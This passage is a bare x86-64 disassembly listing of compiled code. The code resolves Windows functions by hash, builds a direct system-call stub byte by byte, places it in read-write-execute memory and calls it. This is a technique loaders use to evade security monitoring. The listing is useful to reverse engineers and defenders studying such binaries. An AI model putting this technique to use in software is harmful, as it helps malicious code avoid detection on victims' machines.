add rax, qword [rsp + 0x4478]
mov qword [rsp + 0x48b8], rax
mov eax, dword [rsp + 0x48b4]
mov rcx, qword [rsp + 0x48b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a08], rax
mov rax, qword [rsp + 0x48b8]
cmp qword [rsp + 0x48c0], rax
jb 0x140137f89
mov rax, qword [rsp + 0x9a08]
cmp qword [rsp + 0x48c0], rax
jae 0x140137f89
mov dword [rsp + 0xae8], 1
jmp 0x140137f94
mov dword [rsp + 0xae8], 0
movzx eax, byte [rsp + 0xae8]
mov byte [rsp + 0xee], al
movzx eax, byte [rsp + 0xee]
test eax, eax
je 0x140138263
mov rax, qword [rsp + 0x3ee8]
mov rax, qword [rax]
mov qword [rsp + 0x9a10], rax
mov rax, qword [rsp + 0x9a10]
mov qword [rsp + 0x9a18], rax
lea rax, [rsp + 0x12718]
mov qword [rsp + 0x9a20], rax
mov rdx, qword [rsp + 0x9a18]
mov rcx, qword [rsp + 0x9a20]
call fcn.140095590
lea rcx, [rsp + 0x6f00]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6f00]
call fcn.140191090
mov qword [rsp + 0x3ee0], rax
cmp qword [rsp + 0x3ee0], 0xffffffffffffffff
je 0x14013809e
mov r9, qword [rsp + 0x3ee0]
xor r8d, r8d
lea rdx, [rsp + 0xf3d0]
lea rcx, [rsp + 0x6f00]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3ee0]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf3c0]
lea rcx, [rsp + 0x6f00]
call fcn.14019aaa0
lea r8, [rsp + 0xf3c0]
lea rdx, [rsp + 0xf3d0]
lea rcx, [rsp + 0x111b0]
call fcn.14008f7e0
jmp 0x1401380d9
lea rax, [rsp + 0x6f00]
mov qword [rsp + 0x9a28], rax
lea rcx, [rsp + 0xf3e0]
call fcn.140099fb0
lea r8, [rsp + 0xf3e0]
mov rdx, qword [rsp + 0x9a28]
lea rcx, [rsp + 0x111b0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x111b0]
call fcn.140097960
mov qword [rsp + 0x9a30], rax
lea rcx, [rsp + 0x111b0]
call fcn.140097950
mov qword [rsp + 0x9a48], rax
lea rax, [rsp + 0xd098]
mov qword [rsp + 0x9a40], rax
lea rax, [rsp + 0x22d0]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x22d0]
call fcn.14009b310
mov qword [rsp + 0x9a38], rax
lea rax, [rsp + 0xf3f0]
mov rdi, rax
mov rsi, qword [rsp + 0x9a30]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf400]
lea rcx, [rsp + 0xf3f0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf400]
mov rcx, qword [rsp + 0x9a38]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9a40]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x22d8], eax
lea rax, [rsp + 0xd09c]
mov qword [rsp + 0x9a58], rax
lea rax, [rsp + 0x22d4]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x22d4]
call fcn.14009b310
mov qword [rsp + 0x9a50], rax
lea rax, [rsp + 0xf410]
mov rdi, rax
mov rsi, qword [rsp + 0x9a48]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf420]
lea rcx, [rsp + 0xf410]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf420]
mov rcx, qword [rsp + 0x9a50]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9a58]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x22dc], eax
mov r8d, dword [rsp + 0x22d8]
mov edx, dword [rsp + 0x22dc]
lea rcx, [rsp + 0x3ef0]
call fcn.140191150
mov qword [rsp + 0x1320], rax
jmp 0x140138289
mov rax, qword [rsp + 0x3ee8]
mov rax, qword [rax]
mov qword [rsp + 0x1320], rax
jmp 0x140138289
mov qword [rsp + 0x1320], 0
mov rax, qword [rsp + 0x1320]
mov qword [rsp + 0x3ef0], rax
lea rcx, [rsp + 0x3ef0]
call fcn.1400a2c10
mov qword [rsp + 0x9a60], rax
mov eax, dword [rsp + 0x6550]
mov dword [rsp + 0x22e0], eax
mov rax, qword [rsp + 0x9a60]
mov qword [rsp + 0x9a68], rax
mov eax, dword [rsp + 0x22e0]
mov dword [rsp + 0x22e8], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf430]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9a70], rax
lea r9, [rsp + 0x9a68]
lea r8, [rsp + 0x22e8]
lea rdx, [rsp + 0x12728]
mov rcx, qword [rsp + 0x9a70]
call fcn.140098320
lea rcx, [rsp + 0xf430]
call fcn.1400a0f80
lea rcx, [rsp + 0x3ef0]
call fcn.1400a2c10
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0x9a78]
mov eax, dword [rax + 4]
mov dword [rsp + 0x22f0], eax
mov eax, dword [rsp + 0x22f0]
mov dword [rsp + 0x6554], eax
lea rax, [rsp + 0x6558]
mov qword [rsp + 0x9a80], rax
mov eax, dword [rsp + 0x6554]
mov dword [rsp + 0x22f8], eax
mov rax, qword [rsp + 0x9a80]
add rax, 0x11
mov qword [rsp + 0x9a88], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x9a88]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x22f8]
mov dword [rax], ecx
lea rax, [rsp + 0x6558]
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x620]
add rax, 0x10
mov qword [rsp + 0x115f0], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x9a90], rax
mov qword [rsp + 0x48c8], 0
mov qword [rsp + 0x9a98], 0xd
mov rax, qword [rsp + 0x9a90]
mov qword [rsp + 0x9aa0], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x9a98]
xor r8d, r8d
lea rdx, [rsp + 0x48c8]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x9aa0]
mov dword [rsp + 0x2300], eax
cmp dword [rsp + 0x2300], 0
jl 0x14013846d
mov rax, qword [rsp + 0x48c8]
mov qword [rsp + 0x48d0], rax
jmp 0x140138479
mov qword [rsp + 0x48d0], 0
mov rax, qword [rsp + 0x48d0]
mov qword [rsp + 0x9aa8], rax
mov rax, qword [rsp + 0x620]
mov rcx, qword [rsp + 0x9aa8]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x620]
cmp qword [rax + 8], 0
jne 0x1401384ae
jmp 0x1401384f2
mov rax, qword [rsp + 0x620]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x620]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x620]
mov rcx, qword [rsp + 0x620]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6558]
mov qword [rsp + 0x9ac8], rax
mov r9, qword [rsp + 0x9ab0]
mov r8, qword [rsp + 0x9ab8]
mov rdx, qword [rsp + 0x9ac0]
mov ecx, dword [rsp + 0x2304]
call qword [rsp + 0x9ac8]
mov dword [rsp + 0x2308], eax
lea rcx, [rsp + 0x6550]
call fcn.1400a0ed0
mov eax, dword [rsp + 0x2308]
mov dword [rsp + 0x15c], eax
jmp 0x14013554e
cmp dword [rsp + 0x15c], 0
jl 0x140138568
cmp qword [rsp + 0x178], 0
jne 0x140139540
cmp qword [rsp + 0x178], 0
je 0x140139530
mov qword [rsp + 0x9ad0], 0
mov dword [rsp + 0x234c], 0x8000
lea rax, [rsp + 0x9ad0]
mov qword [rsp + 0x9ae0], rax
lea rax, [rsp + 0x178]
mov qword [rsp + 0x9ae8], rax
mov qword [rsp + 0x9af0], 0xffffffffffffffff
mov dword [rsp + 0x230c], 0x4344a267
mov eax, dword [rsp + 0x230c]
mov dword [rsp + 0x2310], eax
lea rcx, [rsp + 0x2310]
call fcn.1400a2c20
mov dword [rsp + 0x6578], eax
mov dword [rsp + 0x657c], 0
lea rax, [rsp + 0x6580]
mov qword [rsp + 0x9ad8], rax
mov dword [rsp + 0x2348], 0x49
mov dword [rsp + 0x2344], 0x89
mov dword [rsp + 0x2340], 0xca
mov dword [rsp + 0x233c], 0x48
mov dword [rsp + 0x2338], 0xc7
mov dword [rsp + 0x2334], 0xc0
mov dword [rsp + 0x2330], 0x3f
mov dword [rsp + 0x232c], 0x10
mov dword [rsp + 0x2328], 0
mov dword [rsp + 0x2324], 0
mov dword [rsp + 0x2320], 0xf
mov dword [rsp + 0x231c], 5
mov dword [rsp + 0x2318], 0xc3
lea rax, [rsp + 0x2318]
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x231c]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x2320]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2324]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x2328]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x232c]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x2330]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x2334]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x2338]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x233c]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x2340]
lea r8, [rsp + 0x2344]
lea rdx, [rsp + 0x2348]
mov rcx, qword [rsp + 0x9ad8]
call fcn.14008f900
mov byte [rsp + 0x2fc], 1
mov byte [rsp + 0x2fd], 0
movsxd rax, dword [rsp + 0x234c]
mov qword [rsp + 0x9c28], rax
mov byte [rsp + 0x2fe], 0
mov byte [rsp + 0x2ff], 0
mov rax, qword [rsp + 0x9ae0]
mov qword [rsp + 0x9c30], rax
mov byte [rsp + 0x300], 0
mov byte [rsp + 0x301], 0
mov rax, qword [rsp + 0x9ae8]
mov qword [rsp + 0x9c38], rax
mov byte [rsp + 0x302], 0
mov byte [rsp + 0x303], 0
mov rax, qword [rsp + 0x9af0]
mov qword [rsp + 0x9c40], rax
mov eax, dword [rsp + 0x6578]
mov dword [rsp + 0x2350], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf440]
call fcn.14009a050
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9af8], rax
lea r8, [rsp + 0x2350]
lea rdx, [rsp + 0x48d8]
mov rcx, qword [rsp + 0x9af8]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9b00], rax
lea rdx, [rsp + 0x115f8]
mov rcx, qword [rsp + 0x9b00]
call fcn.140190560
mov rdx, rax
lea rcx, [rsp + 0x48d8]
call fcn.1400a2a70
movzx eax, al
test eax, eax
je 0x14013885a
mov qword [rsp + 0x48e0], 0
jmp 0x140138873
lea rcx, [rsp + 0x48d8]
call fcn.1400a2c30
mov rax, qword [rax + 8]
mov qword [rsp + 0x48e0], rax
mov rax, qword [rsp + 0x48e0]
mov qword [rsp + 0x9b08], rax
lea rcx, [rsp + 0xf440]
call fcn.1400a0f10
mov rax, qword [rsp + 0x9b08]
mov qword [rsp + 0x48e8], rax
cmp qword [rsp + 0x48e8], 0
je 0x1401388d0
mov rax, qword [rsp + 0x48e8]
mov eax, dword [rax + 4]
mov dword [rsp + 0x2358], eax
mov eax, dword [rsp + 0x2358]
mov dword [rsp + 0x657c], eax
jmp 0x14013935e
lea rax, [rsp + 0xced8]
mov qword [rsp + 0x9b10], rax
xor edx, edx
mov rcx, qword [rsp + 0x9b10]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x235c], eax
lea rax, [rsp + 0xd0a0]
mov qword [rsp + 0x9b18], rax
mov edx, dword [rsp + 0x6578]
mov rcx, qword [rsp + 0x9b18]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2360], eax
mov eax, dword [rsp + 0x235c]
mov dword [rsp + 0xaf0], eax
mov eax, dword [rsp + 0x2360]
mov dword [rsp + 0xb08], eax
xor edx, edx
lea rcx, [rsp + 0x2364]
call fcn.14009b2f0
lea rdx, [rsp + 0x2364]
lea rcx, [rsp + 0xb08]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
je 0x14013897d
mov qword [rsp + 0x1330], 0
jmp 0x14013927c
mov byte [rsp + 0x304], 1
mov qword [rsp + 0x6f10], 0
mov qword [rsp + 0x6f18], 0
call fcn.1401956d0
add rax, 0x10
mov qword [rsp + 0x3ef8], rax
mov eax, 1
test eax, eax
je 0x1401389cf
mov rax, qword [rsp + 0x3ef8]
mov rax, qword [rax]
mov rax, qword [rax]
mov qword [rsp + 0x48f0], rax
jmp 0x1401389e2
mov rax, qword [rsp + 0x3ef8]
mov rax, qword [rax]
mov qword [rsp + 0x48f0], rax
mov rax, qword [rsp + 0x48f0]
mov qword [rsp + 0x6f10], rax
mov rax, qword [rsp + 0x3ef8]
mov qword [rsp + 0x6f18], rax
lea rax, [rsp + 0x6f10]
mov qword [rsp + 0x48f8], rax
lea rdx, [rsp + 0x1328]
mov rcx, qword [rsp + 0x48f8]
call fcn.14018efb0
lea rdx, [rsp + 0x9b20]
mov rcx, qword [rsp + 0x48f8]
call fcn.140190a30
jmp 0x140138a51
mov rax, qword [rsp + 0x1328]
mov rax, qword [rax]
mov qword [rsp + 0x1328], rax
mov rax, qword [rsp + 0x9b20]
cmp qword [rsp + 0x1328], rax
je 0x140138a70
mov dword [rsp + 0xaec], 1
jmp 0x140138a7b
mov dword [rsp + 0xaec], 0
movzx eax, byte [rsp + 0xaec]
test eax, eax
je 0x140139270
xor edx, edx
mov rcx, qword [rsp + 0x1328]
call fcn.140096d90
mov qword [rsp + 0x9b28], rax
lea rax, [rsp + 0x9b28]
mov qword [rsp + 0x4900], rax
xor edx, edx
lea rcx, [rsp + 0x2368]
call fcn.14009b2f0
lea rdx, [rsp + 0x2368]
lea rcx, [rsp + 0xaf0]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140138d1b
mov rax, qword [rsp + 0x4900]
mov rax, qword [rax]
add rax, 0x58
mov qword [rsp + 0x9b30], rax
lea rdx, [rsp + 0x12738]
mov rcx, qword [rsp + 0x9b30]
call fcn.14019acf0
lea rcx, [rsp + 0xf450]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0xaf0]
mov dword [rsp + 0x236c], eax
lea rax, [rsp + 0xd2c0]
lea rcx, [rsp + 0xf450]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x236c]
mov dword [rsp + 0xaf8], eax
lea rax, [rsp + 0x2370]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2370]
call fcn.14009b310
mov qword [rsp + 0x9b38], rax
lea rax, [rsp + 0xf460]
lea rcx, [rsp + 0xd2c0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf470]
lea rcx, [rsp + 0xf460]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf470]
mov rcx, qword [rsp + 0x9b38]
call fcn.140097890
mov dword [rsp + 0x2378], eax
lea rcx, [rsp + 0xd2c0]
call fcn.14018df50
sub rax, 4
mov qword [rsp + 0x9b40], rax
mov r9, qword [rsp + 0x9b40]
xor r8d, r8d
lea rdx, [rsp + 0xf480]
lea rcx, [rsp + 0xd2c0]
call fcn.14019ab70
lea rax, [rsp + 0x2374]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2374]
call fcn.14009b310
mov qword [rsp + 0x9b48], rax
lea rax, [rsp + 0xf490]
lea rcx, [rsp + 0xf480]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf4a0]
lea rcx, [rsp + 0xf490]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf4a0]
mov rcx, qword [rsp + 0x9b48]
call fcn.140097890
mov dword [rsp + 0x2380], eax
mov edx, dword [rsp + 0x2378]
lea rcx, [rsp + 0x237c]
call fcn.14009b2f0
lea rdx, [rsp + 0x237c]
lea rcx, [rsp + 0xaf8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140138cff
mov edx, dword [rsp + 0x2380]
lea rcx, [rsp + 0x2384]
call fcn.14009b2f0
lea rdx, [rsp + 0x2384]
lea rcx, [rsp + 0xaf8]
call fcn.1400a2ab0
movzx eax, al
test eax, eax
jne 0x140138cff
mov dword [rsp + 0xb00], 1
jmp 0x140138d0a
mov dword [rsp + 0xb00], 0
movzx eax, byte [rsp + 0xb00]
test eax, eax
je 0x140138d1b
jmp 0x140138a3e
mov rax, qword [rsp + 0x4900]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x4908], rax
mov rax, qword [rsp + 0x4908]
mov qword [rsp + 0x4488], rax
mov rax, qword [rsp + 0x4908]
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0x9b50]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9b58], rax
mov rax, qword [rsp + 0x9b58]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x9b60], rax
mov eax, dword [rsp + 0x9b60]
add rax, qword [rsp + 0x4488]
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0x9b68]
mov qword [rsp + 0x4490], rax
lea rdx, [rsp + 0xb08]
lea rcx, [rsp + 0xd0a4]
call fcn.1400986a0
mov r8d, dword [rax]
lea rdx, [rsp + 0x11d40]
lea rcx, [rsp + 0x4488]
call fcn.140097040
lea rdx, [rsp + 0x138a8]
lea rcx, [rsp + 0x4488]
call fcn.1401906d0
mov rdx, rax
lea rcx, [rsp + 0x11d40]
call fcn.1400a2af0
movzx eax, al
test eax, eax
je 0x140138e07
jmp 0x140138a3e
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
and eax, 1
test eax, eax
jne 0x140138e8a
mov eax, reloc.WLDAP32.dll_Ordinal_32
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov eax, dword [rcx + rax]
or eax, 1
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
mov edi, reloc.WLDAP32.dll_Ordinal_32
mov edi, edi
mov rcx, qword [rdx + rcx*8]
mov dword [rdi + rcx], eax
mov eax, 8
mov eax, eax
mov ecx, dword [0x1404d6060]
mov rdx, qword gs:[0x58]
add rax, qword [rdx + rcx*8]
mov rcx, rax
call fcn.140091670
lea rax, [rsp + 0x11d50]
mov qword [rsp + 0x4910], rax
mov rcx, qword [rsp + 0x4910]
call fcn.140097960
mov qword [rsp + 0x11600], rax
mov rcx, qword [rsp + 0x4910]
call fcn.140097950
mov qword [rsp + 0x3f08], rax
mov rax, qword [rsp + 0x3f08]
mov rax, qword [rax]
mov qword [rsp + 0x4928], rax
mov rax, qword [rsp + 0x4488]
mov qword [rsp + 0x9b70], rax
mov rax, qword [rsp + 0x9b70]
mov rcx, rax
call fcn.140097970
add rax, 0x18
mov qword [rsp + 0x9b78], rax
mov rax, qword [rsp + 0x9b78]
mov rax, qword [rax + 0x70]
mov qword [rsp + 0x4918], rax
mov eax, dword [rsp + 0x4918]
add rax, qword [rsp + 0x4488]
mov qword [rsp + 0x4920], rax
mov eax, dword [rsp + 0x491c]
mov rcx, qword [rsp + 0x4920]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b80], rax
mov rax, qword [rsp + 0x4920]
cmp qword [rsp + 0x4928], rax
jb 0x140138f7c
mov rax, qword [rsp + 0x9b80]
cmp qword [rsp + 0x4928], rax
jae 0x140138f7c
mov dword [rsp + 0xb10], 1
jmp 0x140138f87
mov dword [rsp + 0xb10], 0
movzx eax, byte [rsp + 0xb10]
mov byte [rsp + 0xef], al
movzx eax, byte [rsp + 0xef]
test eax, eax
je 0x140139256
mov rax, qword [rsp + 0x3f08]
mov rax, qword [rax]
mov qword [rsp + 0x9b88], rax
mov rax, qword [rsp + 0x9b88]
mov qword [rsp + 0x9b90], rax
lea rax, [rsp + 0x12748]
mov qword [rsp + 0x9b98], rax
mov rdx, qword [rsp + 0x9b90]
mov rcx, qword [rsp + 0x9b98]
call fcn.140095590
lea rcx, [rsp + 0x6f20]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
xor r8d, r8d
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rsp + 0x6f20]
call fcn.140191090
mov qword [rsp + 0x3f00], rax
cmp qword [rsp + 0x3f00], 0xffffffffffffffff
je 0x140139091
mov r9, qword [rsp + 0x3f00]
xor r8d, r8d
lea rdx, [rsp + 0xf4c0]
lea rcx, [rsp + 0x6f20]
call fcn.14019aaa0
mov rax, qword [rsp + 0x3f00]
inc rax
mov r9, 0xffffffffffffffff
mov r8, rax
lea rdx, [rsp + 0xf4b0]
lea rcx, [rsp + 0x6f20]
call fcn.14019aaa0
lea r8, [rsp + 0xf4b0]
lea rdx, [rsp + 0xf4c0]
lea rcx, [rsp + 0x111d0]
call fcn.14008f7e0
jmp 0x1401390cc
lea rax, [rsp + 0x6f20]
mov qword [rsp + 0x9ba0], rax
lea rcx, [rsp + 0xf4d0]
call fcn.140099fb0
lea r8, [rsp + 0xf4d0]
mov rdx, qword [rsp + 0x9ba0]
lea rcx, [rsp + 0x111d0]
call fcn.14008f7e0
nop
lea rcx, [rsp + 0x111d0]
call fcn.140097960
mov qword [rsp + 0x9ba8], rax
lea rcx, [rsp + 0x111d0]
call fcn.140097950
mov qword [rsp + 0x9bc0], rax
lea rax, [rsp + 0xd0a8]
mov qword [rsp + 0x9bb8], rax
lea rax, [rsp + 0x2388]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x2388]
call fcn.14009b310
mov qword [rsp + 0x9bb0], rax
lea rax, [rsp + 0xf4e0]
mov rdi, rax
mov rsi, qword [rsp + 0x9ba8]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf4f0]
lea rcx, [rsp + 0xf4e0]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf4f0]
mov rcx, qword [rsp + 0x9bb0]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9bb8]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2390], eax
lea rax, [rsp + 0xd0ac]
mov qword [rsp + 0x9bd0], rax
lea rax, [rsp + 0x238c]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rcx, [rsp + 0x238c]
call fcn.14009b310
mov qword [rsp + 0x9bc8], rax
lea rax, [rsp + 0xf500]
mov rdi, rax
mov rsi, qword [rsp + 0x9bc0]
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xf510]
lea rcx, [rsp + 0xf500]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rdx, [rsp + 0xf510]
mov rcx, qword [rsp + 0x9bc8]
call fcn.1400977d0
mov edx, eax
mov rcx, qword [rsp + 0x9bd0]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x2394], eax
mov r8d, dword [rsp + 0x2390]
mov edx, dword [rsp + 0x2394]
lea rcx, [rsp + 0x3f10]
call fcn.140191150
mov qword [rsp + 0x1330], rax
jmp 0x14013927c
mov rax, qword [rsp + 0x3f08]
mov rax, qword [rax]
mov qword [rsp + 0x1330], rax
jmp 0x14013927c
mov qword [rsp + 0x1330], 0
mov rax, qword [rsp + 0x1330]
mov qword [rsp + 0x3f10], rax
lea rcx, [rsp + 0x3f10]
call fcn.1400a2c10
mov qword [rsp + 0x9bd8], rax
mov eax, dword [rsp + 0x6578]
mov dword [rsp + 0x2398], eax
mov rax, qword [rsp + 0x9bd8]
mov qword [rsp + 0x9be0], rax
mov eax, dword [rsp + 0x2398]
mov dword [rsp + 0x23a0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf520]
call fcn.14009a190
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9be8], rax
lea r9, [rsp + 0x9be0]
lea r8, [rsp + 0x23a0]
lea rdx, [rsp + 0x12758]
mov rcx, qword [rsp + 0x9be8]
call fcn.140098320
lea rcx, [rsp + 0xf520]
call fcn.1400a0f80
lea rcx, [rsp + 0x3f10]
call fcn.1400a2c10
mov qword [rsp + 0x9bf0], rax
mov rax, qword [rsp + 0x9bf0]
mov eax, dword [rax + 4]
mov dword [rsp + 0x23a8], eax
mov eax, dword [rsp + 0x23a8]
mov dword [rsp + 0x657c], eax
lea rax, [rsp + 0x6580]
mov qword [rsp + 0x9bf8], rax
mov eax, dword [rsp + 0x657c]
mov dword [rsp + 0x23b0], eax
mov rax, qword [rsp + 0x9bf8]
add rax, 0x11
mov qword [rsp + 0x9c00], rax
mov eax, 6
mov edx, eax
mov rcx, qword [rsp + 0x9c00]
call fcn.1400a2b40
mov ecx, dword [rsp + 0x23b0]
mov dword [rax], ecx
lea rax, [rsp + 0x6580]
mov qword [rsp + 0x628], rax
mov rax, qword [rsp + 0x628]
add rax, 0x10
mov qword [rsp + 0x11608], rax
mov rax, qword [0x1404d0cd8]
mov qword [rsp + 0x9c08], rax
mov qword [rsp + 0x4930], 0
mov qword [rsp + 0x9c10], 0xd
mov rax, qword [rsp + 0x9c08]
mov qword [rsp + 0x9c18], rax
mov eax, 0x3000
and eax, 0xffffffc0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], eax
lea r9, [rsp + 0x9c10]
xor r8d, r8d
lea rdx, [rsp + 0x4930]
mov rcx, 0xffffffffffffffff
call qword [rsp + 0x9c18]
mov dword [rsp + 0x23b8], eax
cmp dword [rsp + 0x23b8], 0
jl 0x140139460
mov rax, qword [rsp + 0x4930]
mov qword [rsp + 0x4938], rax
jmp 0x14013946c
mov qword [rsp + 0x4938], 0
mov rax, qword [rsp + 0x4938]
mov qword [rsp + 0x9c20], rax
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x9c20]
mov qword [rax + 8], rcx
mov rax, qword [rsp + 0x628]
cmp qword [rax + 8], 0
jne 0x1401394a1
jmp 0x1401394e5
mov rax, qword [rsp + 0x628]
add rax, 0x11
mov rcx, rax
call fcn.140097960
mov rcx, qword [rsp + 0x628]
mov rcx, qword [rcx + 8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_listen
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x628]
mov rcx, qword [rsp + 0x628]
mov rcx, qword [rcx + 8]
mov qword [rax], rcx
mov rax, qword [rsp + 0x6580]
mov qword [rsp + 0x9c48], rax
mov r9, qword [rsp + 0x9c28]
mov r8, qword [rsp + 0x9c30]
mov rdx, qword [rsp + 0x9c38]
mov rcx, qword [rsp + 0x9c40]
call qword [rsp + 0x9c48]
mov dword [rsp + 0xd0b0], eax
lea rcx, [rsp + 0x6578]
call fcn.1400a0ed0
mov dword [rsp + 0x9c], 0
jmp 0x140141d78
mov qword [rsp + 0x3f50], 0
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x49a0], rax
mov dword [rsp + 0x23bc], 0x56dd64b
lea rax, [rsp + 0xd0b4]
mov qword [rsp + 0x9c50], rax
xor edx, edx
mov rcx, qword [rsp + 0x9c50]
call fcn.14009b2f0
mov eax, dword [rax]
mov dword [rsp + 0x23c8], eax
mov eax, dword [rsp + 0x23bc]
mov dword [rsp + 0x558], eax
lea rcx, [rsp + 0x558]
call fcn.1400a2c20
mov dword [rsp + 0x23c0], eax
lea rax, [0x1404d0cf0]
mov rdx, rax
lea rcx, [rsp + 0xf530]
call fcn.14009a050
nop
lea rax, [0x1404d0cf0]
add rax, 8
mov qword [rsp + 0x9c58], rax
lea r8, [rsp + 0x23c0]
lea rdx, [rsp + 0x4940]
mov rcx, qword [rsp + 0x9c58]
call fcn.140096f50
lea rax, [0x1404d0cf0]
add rax, 8
